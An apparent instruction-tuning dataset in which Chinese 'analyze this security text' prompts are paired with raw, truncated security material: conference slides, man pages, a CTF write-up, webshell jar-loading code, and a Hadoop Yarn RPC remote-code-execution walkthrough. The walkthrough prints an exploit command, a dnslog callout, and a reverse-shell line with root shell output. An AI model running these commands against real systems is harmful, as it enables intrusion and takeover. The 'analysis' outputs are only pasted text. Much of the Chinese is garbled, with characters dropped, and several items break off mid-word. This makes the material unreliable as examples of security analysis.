{"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTranscending Cloud Limitations by Obtaining Inner Piece WITH DEEPACK CHOPPA Who am I? I am the terror that flaps in the night The modren man (secret secret) Just this crazy guy, yknow? Cloud Storage Sharing large (10mb+) files w/ friends Availability/Accessibility Replaces USB keys? Backups Cloud Storage: Provider Comparison Service Web Accessible Yes Yes Yes Yes Yes Free Quota Limit 25gb 2gb* 5gb 7gb 5gb API Available Yes Yes Yes Yes Yes History Retention Yes 28 days Yes* (Pro) ? ? Quota Counts Δs Yes No ? N/A ? Data Representation Data Representation Data Representation The moment youve all been waiting for The Vulnerability Time Representation Time Space Time Representation Time Space Account Use Time Representation Time Space Account Use Time Representation Time Space Account Use Mechanism of Action I SIZE-quota Storage TIME-limit History 2 Independent Quota Measurement Dimensions = Unlimited Storage* *Technically limited by provider upload bandwidth Mechanism of Action II Storage: Take a large file Cut it up into fragments Upload each fragment as a version Top it off with an 0b-sized chunk Retrieval: Pull & concat all versions in uploaded order Time Representation II Time Representation II Enlarged to show texture Time Representation II Enlarged to show texture Account Use Time Representation II Enlarged to show texture Account Use Vertical Storage Management Framework Introducing: DeePack Choppa What is it? Pluggable Service Framework Abstracts out API/Implementation Specifics Maintains storage db backend Provides CLI access to core functions Demo Its been running the whole time Aftermath What can be done? Blue-Team Concerns I Detection Method Constantly Rewriting Fixed Size/Time/Name API Key Ban Whackamole Null Caps Countermeasure Generators to introduce variability & flexibility Get a new one 1-byte? Blue-Team Concerns II Unlimited space undermines business model Barring large binary writes may break existing compatibility encfs, git, etc. Deep analysis is t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ntracepath === 追踪目的主机经过的路由信息 ## 补充说明 **tracepath命令** 用来追踪并显示报文到达目的主机所经过的路由信息 ### 语法 ```shell tracepath(参数) ``` ### 参数 * 目的主机指定追踪路由信息的目的主机 * 端口指定使用的UDP端口号 ### 实例 ```shell tracepath www.58.com 1: 192.168.2.10 (192.168.2.10) 20.150ms pmtu 1500 1: unknown (192.168.2.1) 9.343ms 2: 221.6.45.33 (221.6.45.33) 34.430ms 3: 221.6.9.81 (221.6.9.81) 19.263ms 4: 122.96.66.37 (122.96.66.37) 54.372ms 5: 219.158.96.149 (219.158.96.149) asymm 6 128.526ms 6: 123.126.0.66 (123.126.0.66) 138.281ms 7: 124.65.57.26 (124.65.57.26) 166.244ms 8: 61.148.154.98 (61.148.154.98) 103.723ms 9: 202.106.42.102 (202.106.42.102) asymm 10 78.099ms 10: 210.77.139.150 (210.77.139.150) asymm 9 199.930ms 11: 211.151.104.6 (211.151.104.6) asymm 10 121.965ms 12: no reply 13: 211.151.111.30 (211.151.111.30) asymm 12 118.989ms reached Resume: pmtu 1500 hops 13 back 12 ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking Wireless Networks of the Future: Security in Cognitive Radio Networks Hunter Scott / August 3, 2013 Radio + Software Defined Radio Cognitive Radio + Cognitive Radio Network Cognitive Engine Center Frequency Bandwidth Transmit power Type of modulation Coding rate Channel access protocol Encryption algorithm Frame size Attacks specific to cognitive radio networks Change cognitive messages being sent through network Change cognitive messages being sent through network Incumbent on channel 6 Incumbent on channel 6 Change cognitive messages being sent through network Incumbent on channel 1 Change cognitive messages being sent through network Incumbent on channel 1 Change cognitive messages being sent through network Recalculating Change cognitive messages being sent through network Routing Disruption Sybil Attack Sybil Attack Sybil Attack Sybil Attack Priority Attack > Attacks on Crypto VS Attacks on Data Privacy Primary User Emulation Primary User Emulation Primary User Emulation Primary user on channel 4 Primary user on channel 4 Primary user on channel 4 Primary user on channel 4 Primary User Emulation Primary user on channel 4 Primary User Emulation Recalculating Countermeasures Cooperative Intrusion Detection Device Reputation Device Location Why this matters Tools Level 30 MHz to 4.4 GHz 60 mW SimpliciTI Fits Arduino shields ~$100 in quantity MyriadRF ($300) Other tools HackRF ($300) Michael Ossmann Azio BladeRF ($420) Nuand Whats next Latest version of these slides + code & schematics: defcon21.hscott.net Image Credits: Radio designed by Monika Ciapala from The Noun Project Radio Tower designed by iconoci from The Noun Project Brain designed by Samuel Dion-Girardeau from The Noun Project Person designed by Björn Andersson from The Noun Project Plant designed by Luke Anthony Firth from The Noun Project Lock from The Noun Project Speedometer designed by Volodin Anton from The Noun Project Location designed by Ricardo Moreira from The Noun Project Further Rea", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents UWB Real Time Locating Systems Andrea Palanca Luca Cremona Roya Gordon labs@nozominetworks.com How Secure Radio Communications May Fail in Practice 2022 Nozomi Networks Inc. 2 Overview 01 02 03 04 Methodology of Research Attack Demos Remediations 05 Summary & Key Takeaways Introduction Introduction 4 Wireless communication systems are susceptible to various security threats that can compromise their reliability and impact production operations Introduction Ideal for short-range devices Can transmit information quickly over short distances Ability to send data through solid objects like walls and other barriers UWB is the preferred communication protocol for RTLS Spectral density for UWB and narrowband - Source: FiRa Consortium UWB 2022 Nozomi Networks Inc. 5 Wireless communication systems are susceptible to various security threats that can compromise their reliability and impact production operations Introduction Contd Uses UWB signals to locate stationary/mobile objects 3 components: Tags Anchors Server that computes, shows and stores tag positions The time of arrival is analyzed to determine the position of a tag RTLS Anchors RTLS Server Tag Ts_1 Ts_2 Ts_3 Ts_4 UWB Ethernet, or Wi-Fi, or other media Operation of an UWB TDoA RTLS 2022 Nozomi Networks Inc. 6 Wireless communication systems are susceptible to various security threats that can compromise their reliability and impact production operations Introduction Contd Networks will be vulnerable to attacks by cyber criminals who are seeking to exploit vulnerabilities in order to gain access to sensitive data or disrupt operations. Cyber Threats Source: FiRa Consortium 2022 Nozomi Networks Inc. Motivation According to the FiRa consortium, in 2018 there was an increased demand for improvements to existing modulations to increase the integrity and accuracy of ranging measurements Motivation This is what motivated us to take a deeper look into how threat actors can exploit this ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 OWASP 代码审计指南 V2.0 中文版 注本指南版权归 OWASP Foundation 所有由刘传兴孙维康翻译仅供业内人士学习参考 2 目 录 1 介绍 ......................................................................................................................................................... 10 1.1 前言 ................................................................................................................................................ 10 1.2 介绍 ................................................................................................................................................ 11 1.2.1 主要内容 ............................................................................................................................... 11 1.3 如何使用本文档 .......................................................................................................................... 11 2 相关技术和方法 .................................................................................................................................. 13 2.1 代码安全审计 .............................................................................................................................. 13 2.1.1 代码审计技术参考 ............................................................................................................. 13 2.1.2 为什么代码有漏洞 ........................................................................................................ 14 2.1.3 什么是代码安全审计 ................................................................................................... 16 2.1.4 代码审计和代码安全审计的区别是什么 ............................................................... 17 2.1.5 确定安全源代码审计的规模 ...................................................................................... 17 2.1.6 我们无法保证自己的安全 ............................................................................................... 20 2.1.7 耦合源代码审计和渗透测试 .......................................................................................... 22 2.1.8 代码审计对开发实践的潜在优势 .................................................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBoutique Kit Playing WarGames with expensive rootkits and malware Josh m0nk Thomas Opening Question Hands up if you run Android Keep em up if you run a custom ROM / Kernel Down if you actually compiled it Back up if you didnt look at the source Back up if you didnt do a FULL source audit Dont lie, Santa Claus and the NSA already know the answer Josh m0nk Thomas @m0nk_dot Paid by the epic people @ Accuvant Labs Used to get paid by other folk in a prior life Q: Why listen to me? A: TBH, Not a damn clue Current slides can always be found here: https://github.com/monk-dot/David-Byrne.git ./whoami echo $AGENDA Boring Kit The public space of rootkits and malware No Name Given: Non Public Players and the new rules War Game 1: Hide deep, hide long War Game 2: Run off the processing grid War Game 3: Is it cold in here? Revisiting Tic-tac-toe: The fun we can have BORING KIT The public space of rootkits and malware Im sure its fascinating but Uber 1337 h4x0r <3 teh Malwarez NO NAME GIVEN Non Public Players and the new rules Nameless people doing interesting things Out come the Androids Cost of the game Rules of the game WAR GAME 1 Hide deep, hide long NandX OMG - Text Content goes here Stop Demo Time! WAR GAME 2 Run off the processing grid Clock Locking Beats WAR GAME 3 Is it cold in here? Project Burner REVISITING TIC-TAC-TOE The fun we can have And here! Stuff Goes here Questions? https://github.com/monk-dot/David-Byrne.git Josh Thomas @m0nk_dot jthomas@accuvant.com Whatever fin 1125 17th Street, Suite 1700, Denver, CO 80202 800.574.0896 sales@accuvant.com www.accuvant.com", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Copyright (C) 2001 Andries Brouwer . .\\\" .\\\" Permission is granted to make and distribute verbatim copies of this .\\\" manual provided the copyright notice and this permission notice are .\\\" preserved on all copies. .\\\" .\\\" Permission is granted to copy and distribute modified versions of this .\\\" manual under the conditions for verbatim copying, provided that the .\\\" entire resulting derived work is distributed under the terms of a .\\\" permission notice identical to this one .\\\" .\\\" Since the Linux kernel and libraries are constantly changing, this .\\\" manual page may be incorrect or out-of-date. The author(s) assume no .\\\" responsibility for errors or omissions, or for damages resulting from .\\\" the use of the information contained herein. The author(s) may not .\\\" have taken the same level of care in the production of this manual, .\\\" which is licensed free of charge, as they might when working .\\\" professionally. .\\\" .\\\" Formatted or processed versions of this manual, if unaccompanied by .\\\" the source, must acknowledge the copyright and authors of this work. .\\\" .TH LOCKFILE 3 2001-10-18 \"\" \"Linux Programmer's Manual\" .SH NAME flockfile, ftrylockfile, funlockfile \\- 为标准输入输出锁定文件 FILE .SH \"SYNOPSIS 总览\" .nf .B #include .sp .BI \"void flockfile(FILE *\" filehandle ); .br .BI \"int ftrylockfile(FILE *\" filehandle ); .br .BI \"void funlockfile(FILE *\" filehandle ); .fi .SH \"DESCRIPTION 描述\" 标准输入输出库 stdio 函数是线程安全的这是通过为每个文件对象 FILE 赋予一个锁定计数和 (当锁定计数非零时) 一个所有者线程来实现的对每个库函数调用这些函数等待直到文件对象 FILE 不再被一个不同的线程锁定然后锁定它进行所需的 I/O 操作再次对它解锁 .LP (注意这个锁定与由函数 .BR flock (2) 和 .BR lockf (3) 实现的锁定无关) .LP 所有这些操作对 C 程序员来说都是不可见的但是有两种理由需要进行更加细节的控制其一也许某个线程需要进行不可分割的一系列 I/O 操作不应当被其他线程的 I/O 所终端其二出于效率因素应当避免进行过多的锁定来提高效率 .LP 为此一个线程可以显式地锁定文件对象 FILE接着进行它的一系列 I/O 操作然后解锁这样可以避免其他线程干扰如果这样做的原因是需要达到更高的效率应当使用 stdio 函数的非锁定版本来进行 I/O 操作使用 \\fIgetc_unlocked\\fP() 和 \\fIputc_unlocked\\fP() 来代替 \\fIgetc\\fP() 和 \\fIputc\\fP() .LP 函数 \\fBflockfile()\\fP 等待 *\\fIfilehandle\\fP 不再被其他的线程锁定然后使当前线程成为 *\\fIfilehandle\\", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" '\\\" Copyright (c) 1998 Sun Microsystems, Inc. '\\\" '\\\" See the file \"license.terms\" for information on usage and redistribution '\\\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\\\" '\\\" RCS: @(#) $Id: regexp.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\\\" '\\\" The definitions below are for supplemental macros used in Tcl/Tk '\\\" manual entries. '\\\" '\\\" .AP type name in/out ?indent? '\\\" Start paragraph describing an argument to a library procedure. '\\\" type is type of argument (int, etc.), in/out is either \"in\", \"out\", '\\\" or \"in/out\" to describe whether procedure reads or modifies arg, '\\\" and indent is equivalent to second arg of .IP (shouldn't ever be '\\\" needed; use .AS below instead) '\\\" '\\\" .AS ?type? ?name? '\\\" Give maximum sizes of arguments for setting tab stops. Type and '\\\" name are examples of largest possible arguments that will be passed '\\\" to .AP later. If args are omitted, default tab stops are used. '\\\" '\\\" .BS '\\\" Start box enclosure. From here until next .BE, everything will be '\\\" enclosed in one large box. '\\\" '\\\" .BE '\\\" End of box enclosure. '\\\" '\\\" .CS '\\\" Begin code excerpt. '\\\" '\\\" .CE '\\\" End code excerpt. '\\\" '\\\" .VS ?version? ?br? '\\\" Begin vertical sidebar, for use in marking newly-changed parts '\\\" of man pages. The first argument is ignored and used for recording '\\\" the version when the .VS was added, so that the sidebars can be '\\\" found and removed when they reach a certain age. If another argument '\\\" is present, then a line break is forced before starting the sidebar. '\\\" '\\\" .VE '\\\" End of vertical sidebar. '\\\" '\\\" .DS '\\\" Begin an indented unfilled display. '\\\" '\\\" .DE '\\\" End of indented unfilled display. '\\\" '\\\" .SO '\\\" Start of list of standard options for a Tk widget. The '\\\" options follow on successive lines, in four columns separated '\\\" by tabs. '\\\" '\\\" .SE '\\\" End of list of standard options for a Tk widget. '\\\" '\\\" .OP cmdName dbName dbClass '\\\" Start of description of a specific option. cmdName gives the '\\\" op", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n2022*CTF-Web 写在前 XCTF国际赛系列直不错周末参与了下这次赛虽然没有Java但总体还是蛮有意思 这没按题顺序写只是写了在我中从上到下的排序对有源码的题做了备份 oh-my-lotto 链接: https://pan.baidu.com/s/1G53aYqIIbHGlowdWFhkKqw 提取码: oism oh-my-lotto 中较有趣的题呗重之我是赌神 这是个预期因为后又上了个revenge简单分析下题先看看docker内容可以知 道概的结构 version: \"3\" services: lotto: build: context: lotto/ dockerfile: Dockerfile container_name: \"lotto\" 之后看看代码这有三个路由从短到长 先result路由返回 /app/lotto_result.txt 件内容结果 forecast 路由可以上传个件保存到 /app/guess/forecast.txt app: build: context: app/ dockerfile: Dockerfile links: - lotto container_name: \"app\" ports: - \"8880:8080\" @app.route(\"/result\", methods=['GET']) def result(): if os.path.exists(\"/app/lotto_result.txt\"): lotto_result = open(\"/app/lotto_result.txt\", 'rb').read().decode() else: lotto_result = '' return render_template('result.html', message=lotto_result) @app.route(\"/forecast\", methods=['GET', 'POST']) def forecast(): message = '' if request.method == 'GET': return render_template('forecast.html') elif request.method == 'POST': if 'file' not in request.files: message = 'Where is your forecast?' 还有最关键的lotto路由(代码太多就不放完了)可以 如果预测的值与环境随机成的相等就能获得flag file = request.files['file'] file.save('/app/guess/forecast.txt') message = \"OK, I get your forecast. Let's Lotto!\" return render_template('forecast.html', message=message) os.system('wget --content-disposition -N lotto') @app.route(\"/lotto\", methods=['GET', 'POST']) def lotto(): elif request.method == 'POST': //看到flag从环境变量当中取出 flag = os.getenv('flag') lotto_key = request.form.get('lotto_key') or '' lotto_value = request.form.get('lotto_value') or '' lotto_key = lotto_key.upper() if safe_check(lotto_key): os.environ[lotto_key] = lotto_value try: //从内http://lotto当中获得随机值 os.system('wget --content-disposition -N lotto') if os.path.exists(\"/app/lotto_result.txt\"): lotto_result = open(\"/app/lotto_result.txt\", 'rb').read() else: lotto_result = 'result' if os.path.exists(\"/app/guess/forecast.txt\"): 其中内的lotto页可以看到就是随机成20个40以内随机数并返回 同时对于我们能控制的环境变量也有过滤 safe_check 那像p之前提到的直接RCE就不 了 forecast = open(\"/app/guess/f", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking Windows CE san@nsfocus.com san@xfocus.org Structure Overview Windows CE Overview Windows CE Memory Management Windows CE Processes and Threads Windows CE API Address Search Technology The Shellcode for Windows CE Windows CE Buffer Overflow Demonstration About Decoding Shellcode Conclusion Reference Windows CE Overview(1) Windows CE is a very popular embedded operating system for PDAs and mobiles Windows developers can easily develop applications for Windows CE Windows CE 5.0 is the latest version This presentation is based on Windows CE.net(4.2) Windows Mobile Software for Pocket PC and Smartphone are also based on the core of Windows CE By default Windows CE is in little-endian mode Part 1/7 Windows CE Overview(2) ARM Architecture RISC ARMv1 - ARMv6 ARM7, ARM9, ARM10 and ARM11 7 processor modes 37 registers 15 general-purpose registers are visible at any one time r13(sp), r14(lr) r15(pc) can access directly Memory Management(1) Part 2/7 Memory Management(2) Windows CE uses ROM (read only memory), RAM (random access memory) The ROM in a Windows CE system is like a small read-only hard disk The RAM in a Windows CE system is divided into two areas: program memory and object store Windows CE is a 32-bit operating system, so it supports 4GB virtual address space Upper 2GB is kernel space, used by the system for its own data Memory Management(3) Lower 2GB is user space 0x42000000-0x7FFFFFFF memory is used for large memory allocations, such as memory- mapped files 0x0-0x41FFFFFF memory is divided into 33 slots, each of which is 32MB Memory Management(4) Slot 0 layout Processes and Threads(1) Windows CE limits 32 processes being run at any one time Windows CE restricts each process to its own code and data Every process at least has a primary thread associated with it upon starting (even if it never explicitly created one) A process can created any number of additional threads (only limited by available memory) Each thread belo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ndef KSA(key): keylength = len(key) S = range(256) j = 0 for i in range(256): j = (j + S[i] + key[i % keylength]) % 256 S[i], S[j] = S[j], S[i] # swap return S def PRGA(S): i = 0 j = 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] # swap K = S[(S[i] + S[j]) % 256] yield K def RC4(key): S = KSA(key) return PRGA(S)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 JarLoader模块的细节问题 前 正 冰蝎 哥斯拉 实验 @yzddmr6 As-Exploits v 1.2 更新了个JarLoader模块可以在内存中直接加载个jar件不落地今天来 讲讲开发的细节 打个jar进去通常有两个处 是可以来上传数据库驱动 是把恶意类打JVM中后续只需要通过反射调即可哥斯拉的实现式就是第次就把所有的 payload打jvm中后续通过反射调所以后续通信的流量包都常的只需要传递参数即可 冰蝎跟哥斯拉都有类似的功能研究了下他们的实现 冰蝎的加载jar功能内嵌于数据库连接部分仅于上传数据库驱动先把要打的jdbc上传到标的临 时录然后再URLClassLoader去加载这贴下代码 net.rebeyond.behinder.ui.controller.DatabaseViewController#loadDriver 前 正 冰蝎 1 private void loadDriver(String scriptType, String databaseType) throws Exception { 2 String driverPath = \"net/rebeyond/behinder/resource/drive r/\"; 3 Platform.runLater(() -> { 4 this.statusLabel.setText(\"正在上传数据库驱动\"); 5 }); 6 String os = this.currentShellService.shellEntity.getString( \"os\").toLowerCase(); 2 7 //根据系统型号选择临时录 8 String remoteDir = os.indexOf(\"windows\") >= 0 ? \"c:/window s/temp/\" : \"/tmp/\"; 9 String libName = null; 10 if (scriptType.equals(\"jsp\")) { //根据类型选择数据库jdbc 11 if (databaseType.equals(\"sqlserver\")) { 12 libName = \"sqljdbc41.jar\"; 13 } else if (databaseType.equals(\"mysql\")) { 14 libName = \"mysql-connector-java-5.1.36.jar\"; 15 } else if (databaseType.equals(\"oracle\")) { 16 libName = \"ojdbc5.jar\"; 17 } 18 } else if (scriptType.equals(\"aspx\")) { 19 if (databaseType.equals(\"mysql\")) { 20 libName = \"mysql.data.dll\"; 21 } else if (databaseType.equals(\"oracle\")) { 22 libName = \"Oracle.ManagedDataAccess.dll\"; 23 } 24 } 25 26 byte[] driverFileContent = Utils.getResourceData(driverPath + libName); 27 String remotePath = remoteDir + libName; 28 //将jar先上传到临时录 29 this.currentShellService.uploadFile(remotePath, driverFileC ontent, true); 30 Platform.runLater(() -> { 31 this.statusLabel.setText(\"驱动上传成功正在加载驱动\"); 32 }); 33 //将libPath传递给服务端加载 34 JSONObject loadRes = this.currentShellService.loadJar(remot ePath); 35 if (loadRes.getString(\"status\").equals(\"fail\")) { 36 throw new Exception(\"驱动加载失败:\" + loadRes.getString(\"m sg\")); 37 } else { 38 Platform.runLater(() -> { 39 if (scriptType.equals(\"jsp\")) { 40 this.statusLabel.setText(\"驱动加载成功请再次点击连 接\"); 3 webshell获取到libPath然后URLClassLoader去加载 n", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJavaScript在网络安全 中的身影 高佳 关于我 职位:斗象科技高级安全研究员 主要负责:众测项目的上线与漏洞审核 第一部分 JavaScript的重要性 第二部分 JavaScript的信息收集 第三部分 JavaScript的前端加密 第四部分 JavaScript的混淆与反混淆 目录 JavaScript的重要性 JavaScript的重要性 没有人比我更懂JavaScript JavaScript的重要性 JavaScript的重要性 大人时代变了 JavaScript的信息收集 JavaScript的信息搜集-URL JavaScript的信息搜集-API JavaScript的信息搜集-密码 JavaScript的信息搜集-业务逻辑 JavaScript的信息搜集 JavaScript的信息搜集 JavaScript的信息搜集 JavaScript的前端加密 JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-RSA JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的前端加密-签名校验 JavaScript的混淆与反混淆 JavaScript的混淆与反混淆 我看你就是在为难我胖虎 JavaScript的混淆方式 JavaScript的混淆方法 变量混淆 JavaScript的混淆方法 字符串混淆 JavaScript的混淆方法 EVAL混淆 JavaScript的EVAL反混淆 JavaScript的EVAL反混淆 JavaScript的EVAL反混淆 JavaScript的混淆方法 函数数组对象的混淆 JavaScript的OB反混淆 JavaScript的OB反混淆 JavaScript的OB反混淆 Thank You", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Hadoop Yarn RPC未授权访问漏洞 ## 漏洞简述 Hadoop Yarn作为Hadoop核心组件之一负责将资源分配至各个集群中运行各种应用程序并调度不同集群节点上的任务执行Hadoop Yarn默认对外开放RPC服务攻击者可利用RPC服务执行任意命令控制服务器 同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样因此即使在 REST API有授权认证的情况下RPC服务所在端口仍然可以未授权访问 ## 环境搭建 > https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn 需要修改docker-compose.yml添加8032端口映射 ![image-20220726135831239](../../.gitbook/assets/image-20220726135831239.png) curl请求8032端口 ``` [root@localhost tmp]# curl http://192.168.32.183:8032 It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon. ``` ## 漏洞利用 EXPhttps://github.com/cckuailong/YarnRpcRCE ``` [root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 \"curl 0dccw6.dnslog.cn\" log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell). log4j:WARN Please initialize the log4j system properly. log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info. ``` ![image-20220726143734307](../../.gitbook/assets/image-20220726143734307.png) 查看日志 ![image-20220726144048169](../../.gitbook/assets/image-20220726144048169.png) 反弹shell ``` [root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 \"bash -i >& /dev/tcp/192.168.32.183/9999 0>&1\" ``` 成功建立连接 ``` [root@localhost tmp]# nc -lvp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.19.0.5. Ncat: Connection from 172.19.0.5:59812. bash: cannot set terminal process group (271): Inappropriate ioctl for device bash: no job control in this shell <00863_0003/container_1658816800863_0003_01_000001# whoami whoami root <00863_0003/container_1658816800863_0003_01_000001# ``` ## 漏洞修复 1. Apache Hadoop官方建议用户开启Kerberos认证 2. 设置 Hadoop RPC服务所在端口仅对可信地址开放 3. 建议升级并启用Kerberos的认证功能阻止未经授权的访问", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nA DIRTY LITTLE HISTORY Bypassing Spectre Hardware Defenses to Leak Kernel Data 1 2 Vrije Universiteit Amsterdam Enrico Barberis Herbert Bos Cristiano Giuffrida Marius Muench Pietro Frigo 2 TL;DR Spectre affects most modern CPUs You can leak data across privilege levels (e.g., User-to-Kernel) CPU vendors released HW defenses to thwart exploitation But do they actually work? 3 4 Outline Spectre-101 Bypassing Spectre Hardware Defenses Branch History Injection Exploit + Live Demo 5 Spectre-101 6 Spectre 101 if (x < array.size) // size = 128 y = array[x]; BPU array[x] 0 1 2 128 ... 7 Spectre 101 if (x < array.size) // size = 128 y = array[x]; BPU 0 1 2 128 array[0] ... 7 Spectre 101 if (x < array.size) // size = 128 y = array[x]; BPU 0 1 2 128 array[0] ... 7 Spectre 101 if (x < array.size) // size = 128 y = array[x]; BPU 0 1 2 128 array[1] ... 7 Spectre 101 if (x < array.size) // size = 128 y = array[x]; BPU 0 1 2 128 array[2] ... 7 Spectre 101 if (x < array.size) // size = 128 y = array[x]; BPU 0 1 2 128 256 array[256] ... 7 Spectre 101 if (x < array.size) // size = 128 y = array[x]; BPU Speculative OOB read 0 1 2 128 256 array[256] ... 7 Spectre & Flush+Reload if (x < array.size) // size = 128 y = array[x]; z = reload_buff[y]; BPU 0 1 2 128 256 array[256] ... 8 Spectre & Flush+Reload if (x < array.size) // size = 128 y = array[x]; z = reload_buff[y]; BPU 0 1 2 128 256 array[256] 0 1 2 256 reload_buff[y] 3 ... ... 8 Spectre & Flush+Reload if (x < array.size) // size = 128 y = array[x]; z = reload_buff[y]; BPU 0 1 2 128 256 array[256] 0 1 2 256 reload_buff[y] 3 3 ... ... 8 Spectre & Flush+Reload if (x < array.size) // size = 128 y = array[x]; z = reload_buff[y]; BPU 0 1 2 128 256 array[256] 0 1 2 256 reload_buff[y] 3 3 ... ... 8 Spectre & Flush+Reload if (x < array.size) // size = 128 y = array[x]; z = reload_buff[y]; BPU 0 1 2 128 256 array[256] 0 1 2 256 reload_buff[y] 3 3 ... ... Cached 8 Spectre & Flush+Reload if (x < array.size) // size = 128 y = array[x]; z", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHacking Social Lives: MySpace.com Presented By Rick Deacon DEFCON 15 August 3-5, 2007 A Quick Introduction Full-time IT Specialist at a CPA firm located in Beachwood, OH. Part-time Student at Lorain County Community College and the University of Akron. Studying for Bachelors in Computer Information Systems Networking. Information Technology for 7 years, security for 4 years. Published in 2600 Magazine. Other Interests: Cars, Music Presentation Overview Introduction to MySpace.com Introduction to Cross Site Scripting Evading XSS Filters MySpace Session Information and Hijacking Tools Used to Exploit MySpaces XSS Current 0-Day Exploit and Demonstration Ways to Prevent XSS Attacks Questions Closing Intro to MySpace.com One of the largest social networking sites on the internet with millions of active users. Driven by various dynamic web applications. Blogs, Pictures, Videos, Chat, IM, Searches, Classifieds, Music, Bulletins. Major impact on todays society. Personal Information Source of Social Interaction Television, Radio, Movies and Publications. This Presentation MySpaces Security Vulnerable to many types of attacks. Social Engineering Phishing Packet Capture Viruses Spam Cross Site Scripting Well Known Vulnerabilities Samy Virus Used a worm to Add millions of people using XSS and some clever scripting. QuickTime Virus Spread a MySpace virus by automatically editing profiles and adding phishing links when played. Windows MetaFile Vulnerability Phishing Links Sent through compromised profiles to steal passwords and advertise. Introduction to Cross Site Scripting Vulnerability found in MANY web applications. Also called XSS. Allows code injection HTML, JavaScript, etc. Can be used for phishing or browser exploitation. Can be used for a form of session hijacking and cookie stealing. Can be identified easily with the proper methods. Finding XSS Holes Easiest method is to simply try and insert code into an application. Embed JavaScript into an web application URL to dis", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOpen Data Source Analysis Daniel whopis Burroughs daniel.burroughs@gmail.com About me... Research Professor University of Central Florida College of Engineering College of Health and Public Affairs Associate Technology Director Center for Law Enforcement Technology, Training & Research (LETTR) Related Interests Pattern recognition in security applications Network attack detection and classification Bayesian Multiple Hypothesis Tracking Detection avoidance Sensor fusion Position tracking & estimation Autonomous navigation Situational awareness My Inspiration Broward Horne Meme Mining for Fun and Profit DefCon 13 Detection and identification of saturation curves Which current technologies are about to take off? What should I spend my time learning? An Example (blatently stolen from Broward Horne's DC13 talk) My Need When I used to teach... Students would come to me seeking job search advice I would do what I could to keep up with trends Found that craigslist postings were an interesting indicator of what was going on Not necessarily the best source for jobs but definitely an interesting sensor (a tiny bit of) Theory Jobs are a lagging economic indicator There is a time period between economies changing and the job markets catching up Hiring someone tends to be long term investment A lot of craigslist postings are temporary / contract / side jobs Short term investment Shorten the lag Why Craigslist? It's available Decent categorization 31 job categories, 400 cities in North America More than just job listings Significant amount of short-term relevance Both in job listings and other items & services Prediction: This will be a normal to leading indicator of change This is not the only or best source for data it is just one example of the many out there Let's look at some data Initial results The easy-to-find stuff More questions than answers But that is the fun of it Job Postings By Date 02/21/10 02/28/10 03/07/10 03/14/10 03", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMQ Jumping . . . . Or, move to the front of the queue, pass go and collect 200 Martyn Ruks DEFCON 15 2007-08-03 2 One Year Ago Last year I talked about IBM Networking attacks and said I was going to continue with my research. But like any penetration tester I had other client work to do and that led to me looking at Websphere MQ. It was so interesting I decided to do some more research and hence the reason Im here again. It wasnt a conscious decision to look at IBM technology, it should be seen as an indication of the level of adoption of IBM technology in the marketplace. 3 Introduction 4 Who am I ? My name is Martyn Ruks and I am a Security Consultant with MWR InfoSecurity in the UK. I have approached this subject from the perspective of a penetration tester and then as a security researcher. I do not have a formal background in IBM computing. I chose the subject of the presentation based on a number of interesting client engagements. 5 Intended Audience This talk is aimed at the following people: Security Managers Penetration Testers Application Developers There are no pre-requisites for the contents of this presentation. 6 What will I talk about Websphere MQ is a Middleware application for Messaging MQ is a 